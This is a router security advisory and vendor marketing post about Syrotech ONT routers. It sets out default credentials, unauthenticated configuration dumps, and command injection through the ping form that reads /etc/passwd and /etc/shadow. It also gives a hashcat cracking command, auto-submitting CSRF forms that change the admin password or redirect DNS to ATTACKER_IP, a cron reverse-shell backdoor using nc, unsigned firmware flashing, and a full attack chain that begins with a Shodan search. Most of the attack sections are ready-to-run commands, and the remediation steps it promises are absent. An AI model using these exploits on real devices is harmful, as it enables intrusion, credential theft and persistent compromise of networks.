Syrotech routers are widely deployed across ISP networks and small-to-medium business environments, particularly in South Asian markets. A recent security assessment has uncovered multiple critical vulnerabilities in several Syrotech router models that expose users to unauthorized access, command injection, information disclosure, and full device compromise. This advisory provides a technical breakdown of each vulnerability, proof-of-concept commands for validation, and actionable remediation guidance.
If you manage a network running Syrotech hardware, this is a must-read.
The vulnerabilities documented in this advisory were identified across the following Syrotech models:
These devices are commonly deployed by ISPs as ONT (Optical Network Terminal) equipment. The firmware versions tested were below the patched release threshold at time of discovery. Users running unpatched firmware on any of these models should treat the following findings as active risk.
Severity: Critical
The most immediately exploitable issue is the presence of hardcoded or widely-known default credentials that remain active after factory deployment. Many ISPs provision these devices without requiring credential rotation, leaving them exposed to trivial authentication bypass.
The following credentials are commonly active on unpatched Syrotech devices:
Username: admin
Password: admin
Username: support
Password: support
Username: user
Password: user1234
[cta]
An attacker on the same local network, or with access to the WAN management interface (if exposed), can authenticate directly through the web interface:
http://192.168.1.1/login.html
[cta]
Once authenticated, the attacker has full administrative access to DNS settings, port forwarding, firewall rules, and WLAN credentials.
For scripted or remote testing, use the following:
curl -s -X POST http://192.168.1.1/boaform/admin/formLogin \
-d "username=admin&psd=admin" \
-c cookies.txt -L
[cta]
A successful response returns the administrative dashboard HTML. Confirm authentication by checking for device configuration endpoints:
curl -s -b cookies.txt http://192.168.1.1/status.html | grep -i "firmware\|model\|wan"
[cta]
Protecting your routers from credential-based attacks starts with a comprehensive audit. Redfox Cybersecurity's penetration testing services include full network device assessments that identify default credential exposure across your entire infrastructure.
Severity: High
Several endpoints on Syrotech devices expose sensitive configuration data without requiring authentication. This means an attacker does not even need valid credentials to extract device information, WAN settings, and in some cases, PPPoE credentials.
/boaform/formSaveConfig
/status.html
/getpage.gch?pid=1002
/web_shell_cmd.gch
[cta]
An unauthenticated request to the status page leaks WAN IP, MAC address, firmware version, and uptime:
curl -s http://192.168.1.1/status.html | grep -E "MAC|WAN|Firmware|Version"
[cta]
To test for configuration file disclosure:
curl -s http://192.168.1.1/boaform/formSaveConfig -o config_dump.cfg
cat config_dump.cfg | grep -i "password\|pppoe\|ssid\|wpa"
[cta]
In testing environments, this single command returned SSID names, WPA2 pre-shared keys, and PPPoE usernames and passwords in plaintext.
curl -s http://192.168.1.1/getpage.gch?pid=1002 | python3 -m json.tool
[cta]
This endpoint, where exposed, returns VLAN configuration and IGMP settings that are useful for further lateral movement within an ISP network.
Severity: Critical
After authentication, certain Syrotech firmware versions allow operating system command injection through the web-based diagnostic interface. The ping and traceroute diagnostic forms do not sanitize user input before passing it to the underlying Linux shell.
POST /boaform/admin/formPing
POST /boaform/admin/formTraceroute
[cta]
The following payload appends a secondary OS command after the ping target using shell metacharacters:
curl -s -X POST http://192.168.1.1/boaform/admin/formPing \
-b cookies.txt \
-d "target_addr=127.0.0.1%3B+cat+/etc/passwd&waninf=1_INTERNET_R_VID_101"
[cta]
The %3B is a URL-encoded semicolon (;), which terminates the ping command and executes cat /etc/passwd as a separate shell command. On vulnerable firmware, the response body contains the router's /etc/passwd file content.
curl -s -X POST http://192.168.1.1/boaform/admin/formPing \
-b cookies.txt \
-d "target_addr=127.0.0.1%3B+ps+aux&waninf=1_INTERNET_R_VID_101"
[cta]
On some firmware builds, the web server process runs as root:
curl -s -X POST http://192.168.1.1/boaform/admin/formPing \
-b cookies.txt \
-d "target_addr=127.0.0.1%3B+cat+/etc/shadow&waninf=1_INTERNET_R_VID_101"
[cta]
If successful, this returns hashed credentials for all system accounts, which can then be subjected to offline cracking using hashcat or john:
hashcat -m 1800 shadow_hashes.txt /usr/share/wordlists/rockyou.txt --force
[cta]
Command injection vulnerabilities are among the most dangerous classes of flaws found in embedded devices. Get a professional penetration test from Redfox Cybersecurity to determine whether your network devices are susceptible to injection-based attacks before a real attacker does.
Severity: High
The Syrotech web interface does not implement CSRF tokens on administrative actions including password changes, DNS modifications, and port forwarding rules. This allows a malicious web page to trigger administrative changes on a router if an authenticated admin visits the page.
An attacker crafts a malicious HTML page:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://192.168.1.1/boaform/admin/formPasswordSetup">
<input type="hidden" name="loginPassword" value="hacked123" />
<input type="hidden" name="userFlag" value="1" />
</form>
</body>
</html>
[cta]
If a logged-in Syrotech admin visits this page, the admin password is silently changed to hacked123 without any confirmation prompt or token validation.
A more impactful CSRF payload redirects DNS to an attacker-controlled resolver, enabling phishing and traffic interception:
<form method="POST" action="http://192.168.1.1/boaform/admin/formDNS">
<input type="hidden" name="wan_dns1_x" value="ATTACKER_IP" />
<input type="hidden" name="wan_dns2_x" value="8.8.8.8" />
</form>
[cta]
Once DNS is poisoned, all domain lookups from devices on the network route through the attacker's resolver.
Severity: Critical
Several Syrotech ONT models ship with Telnet enabled by default on port 23. The Telnet service accepts the same default credentials as the web interface and, upon successful login, drops the attacker into a root shell without any additional privilege escalation required.
nmap -p 23 --open -sV 192.168.1.0/24
[cta]
telnet 192.168.1.1
# Enter admin / admin or support / support at the prompt
# Confirm root access
whoami
id
uname -a
[cta]
With root shell access, an attacker can plant a persistent backdoor:
echo "* * * * * root /bin/nc ATTACKER_IP 4444 -e /bin/sh" >> /etc/crontab
[cta]
This creates a reverse shell that beacons out every minute to the attacker's listener, surviving reboots in some firmware configurations.
From a compromised Syrotech ONT with ISP-level deployment, an attacker can:
This level of access represents a complete compromise of the network boundary. If you are an ISP or enterprise operating Syrotech equipment at scale, the exposure is significant. Contact Redfox Cybersecurity for a network infrastructure penetration test designed specifically for ISP and carrier-grade environments.
Severity: High
The firmware update process on affected Syrotech devices does not validate firmware image integrity through cryptographic signatures. This means an attacker with administrative access can flash a maliciously crafted firmware image, achieving persistent implant-level control over the device.
POST /boaform/admin/formUpload
[cta]
curl -s -X POST http://192.168.1.1/boaform/admin/formUpload \
-b cookies.txt \
-F "filename=@malicious_firmware.bin" \
-F "upgrade_type=firmware"[cta]
Because no signature verification is performed, the router accepts and flashes any binary presented as a firmware file. Attackers can modify legitimate firmware to embed backdoors, disable logging, or alter routing behavior before the ISP or end-user is aware.
Combining the vulnerabilities documented above, a complete attack chain against an exposed Syrotech router looks like this:
Step 1: Identify target using Shodan or local network scan
shodan search "Syrotech" --fields ip_str,port,org | head -20
[cta]
Step 2: Test default credentials via cURL and capture session cookie
curl -s -X POST http://TARGET_IP/boaform/admin/formLogin \
-d "username=admin&psd=admin" -c session.txt -L
[cta]
Step 3: Confirm authentication and extract device information
curl -s -b session.txt http://TARGET_IP/status.html
[cta]
Step 4: Exploit command injection to read system files
curl -s -X POST http://TARGET_IP/boaform/admin/formPing \
-b session.txt \
-d "target_addr=127.0.0.1%3B+cat+/etc/passwd"
[cta]
Step 5: Establish persistent access via Telnet root shell and cron backdoor
The full chain from initial access to persistent foothold can be executed in under five minutes against an unpatched device, requiring no special tooling beyond standard Linux utilities.
Network administrators and ISPs deploying Syrotech equipment should take the following steps immediately:
Enterprise security programs invest heavily in endpoint detection, SIEM platforms, and identity management, but routers, ONTs, and IoT gateways rarely receive the same scrutiny. These devices run stripped-down Linux kernels with limited logging, are rarely monitored by endpoint security tools, and often operate on firmware that is years behind on patches.
Attackers know this. A compromised router sits at the intersection of every conversation between your internal network and the internet, making it one of the highest-value targets in any environment.
Redfox Cybersecurity's penetration testing services include dedicated network device assessments that go beyond checklist-based scans. The team conducts manual, research-driven testing against routers, firewalls, and embedded devices, replicating the exact techniques documented in this advisory to identify exploitable weaknesses before threat actors do.
The vulnerabilities documented in this advisory represent a systemic security problem in the Syrotech product line: default credentials that are never rotated, input sanitization failures that enable OS-level command injection, unauthenticated information disclosure, and insecure firmware update mechanisms. Each of these issues is individually serious. Together, they form a complete compromise chain that requires no advanced tooling and minimal attacker skill to execute.
The commands and techniques shared in this advisory are published for educational and defensive purposes, intended to help security teams validate exposure and drive urgent remediation action. Organizations that identify these vulnerabilities in their environments should treat them as critical findings requiring immediate action.
Whether you are an ISP managing thousands of ONT deployments, an enterprise security team assessing network perimeter devices, or an independent researcher validating your own infrastructure, the takeaway is consistent: embedded network devices must be included in your penetration testing scope.
Reach out to Redfox Cybersecurity to schedule a penetration test that covers your network devices, web applications, and internal infrastructure. The team brings deep technical expertise in embedded systems, network security, and adversarial simulation to help you find and fix vulnerabilities before they become breaches.
Disclosure Timeline
Findings were identified during authorized security research. Vendors are encouraged to release patches addressing the documented vulnerabilities. Users should apply available firmware updates immediately and implement the defensive measures outlined above while awaiting vendor guidance.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
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